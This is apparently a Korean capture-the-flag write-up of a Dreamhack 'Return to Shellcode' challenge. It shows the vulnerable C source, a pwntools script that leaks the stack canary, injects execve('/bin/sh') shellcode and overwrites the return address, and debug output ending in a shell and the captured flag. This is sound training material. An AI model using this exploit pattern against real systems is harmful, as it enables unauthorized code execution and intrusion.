Description

    Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.


    문제 파일을 받아보면 r2s, r2s.c 파일들이 존재한다.

    r2s.c 소스코드 내용은 다음과 같았다.

    // Name: r2s.c
    // Compile: gcc -o r2s r2s.c -zexecstack
    
    #include <stdio.h>
    #include <unistd.h>
    
    void init() {
      setvbuf(stdin, 0, 2, 0);
      setvbuf(stdout, 0, 2, 0);
    }
    
    int main() {
      char buf[0x50];
    
      init();
    
      printf("Address of the buf: %p\n", buf);
      printf("Distance between buf and $rbp: %ld\n",
             (char*)__builtin_frame_address(0) - buf);
    
      printf("[1] Leak the canary\n");
      printf("Input: ");
      fflush(stdout);
    
      read(0, buf, 0x100);
      printf("Your input is '%s'\n", buf);
    
      puts("[2] Overwrite the return address");
      printf("Input: ");
      fflush(stdout);
      gets(buf);
    
      return 0;
    }

    Canary는 버퍼와 SFP 사이에 임의의 데이터를 삽입하여 버퍼 오버플로우를 방지하는데,
    read 함수에서 카나리의 첫 바이트인 null byte를 덮어쓰면 카나리 값을 누출시킬 수 있다.
    그리고 이제 다시 버퍼 오버플로우 취약점으로 Return Address를 buf 주소로 Overwrite 하면 풀 수 있을 것 같다.

    프로그램을 실행시켜보면 Distance between buf and $rbp: 96 메시지가 출력되는데
    80 바이트의 buf와 8바이트의 스택 카나리 사이에 8바이트의 더미 공간을 차지한다는 것을 알 수 있었다.

    따라서 스택을 그림으로 나타내면 아래와 같다.

    페이로드를 작성하면 아래와 같다.
    (buf에 채울 88바이트의 shellcode와 더미 데이터) + (8바이트 Canary) + (8바이트 더미데이터) + (8바이트 buf 포인터 주소)

    from pwn import *
    
    context.log_level = 'debug'
    
    p = remote('host3.dreamhack.games', 20006)
    context(arch='amd64',os='linux')
    
    buf_address = p.recvline().decode('utf-8').split("buf: ")[1].strip();
    buf_address = int(buf_address, 16);
    
    payload = b"\x41"*89
    
    p.recvuntil('Input: ');
    p.send(payload);
    canary = p.recvline().split(b"'")[1]
    canary = b"\x00" + canary.split(payload)[1][:7]
    canary = u64(canary)
    
    shellcode = asm(shellcraft.sh())
    payload = shellcode + b"A"* (88-len(shellcode)) + p64(canary) + b"A"*8 + p64(buf_address)
    p.sendlineafter('Input: ', payload);
    p.interactive()
    ubuntu@wh1te4ever-main:~/Desktop/r2s$ python3 attack2.py
    [+] Opening connection to host3.dreamhack.games on port 20006: Done
    [DEBUG] Received 0x23 bytes:
        b'Address of the buf: 0x7fffcd861de0\n'
    [DEBUG] Received 0x3d bytes:
        b'Distance between buf and $rbp: 96\n'
        b'[1] Leak the canary\n'
        b'Input: '
    [DEBUG] Sent 0x59 bytes:
        b'A' * 0x59
    [DEBUG] Received 0x77 bytes:
        00000000  59 6f 75 72  20 69 6e 70  75 74 20 69  73 20 27 41  │Your│ inp│ut i│s 'A│
        00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
        *
        00000060  41 41 41 41  41 41 41 41  33 a2 fe 5c  f3 1a a2 e0  │AAAA│AAAA│3··\│····│
        00000070  e9 ca 89 3f  56 27 0a                               │···?│V'·│
        00000077
    [DEBUG] cpp -C -nostdinc -undef -P -I/home/ubuntu/.local/lib/python3.10/site-packages/pwnlib/data/includes /dev/stdin
    [DEBUG] Assembling
        .section .shellcode,"awx"
        .global _start
        .global __start
        _start:
        __start:
        .intel_syntax noprefix
        .p2align 0
            /* execve(path='/bin///sh', argv=['sh'], envp=0) */
            /* push b'/bin///sh\x00' */
            push 0x68
            mov rax, 0x732f2f2f6e69622f
            push rax
            mov rdi, rsp
            /* push argument array ['sh\x00'] */
            /* push b'sh\x00' */
            push 0x1010101 ^ 0x6873
            xor dword ptr [rsp], 0x1010101
            xor esi, esi /* 0 */
            push rsi /* null terminate */
            push 8
            pop rsi
            add rsi, rsp
            push rsi /* 'sh\x00' */
            mov rsi, rsp
            xor edx, edx /* 0 */
            /* call execve() */
            push 59 /* 0x3b */
            pop rax
            syscall
    [DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-ki0zjgti/step2 /tmp/pwn-asm-ki0zjgti/step1
    [DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-ki0zjgti/step3 /tmp/pwn-asm-ki0zjgti/step4
    [DEBUG] Received 0x28 bytes:
        b'[2] Overwrite the return address\n'
        b'Input: '
    [DEBUG] Sent 0x71 bytes:
        00000000  6a 68 48 b8  2f 62 69 6e  2f 2f 2f 73  50 48 89 e7  │jhH·│/bin│///s│PH··│
        00000010  68 72 69 01  01 81 34 24  01 01 01 01  31 f6 56 6a  │hri·│··4$│····│1·Vj│
        00000020  08 5e 48 01  e6 56 48 89  e6 31 d2 6a  3b 58 0f 05  │·^H·│·VH·│·1·j│;X··│
        00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
        *
        00000050  41 41 41 41  41 41 41 41  00 33 a2 fe  5c f3 1a a2  │AAAA│AAAA│·3··│\···│
        00000060  41 41 41 41  41 41 41 41  e0 1d 86 cd  ff 7f 00 00  │AAAA│AAAA│····│····│
        00000070  0a                                                  │·│
        00000071
    [*] Switching to interactive mode
    $ ls
    [DEBUG] Sent 0x3 bytes:
        b'ls\n'
    [DEBUG] Received 0x9 bytes:
        b'flag\n'
        b'r2s\n'
    flag
    r2s
    $ cat flag
    [DEBUG] Sent 0x9 bytes:
        b'cat flag\n'
    [DEBUG] Received 0x25 bytes:
        b'DH{333eb89c9d2615dd8942ece08c1d34d5}\n'
    DH{333eb89c9d2615dd8942ece08c1d34d5}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다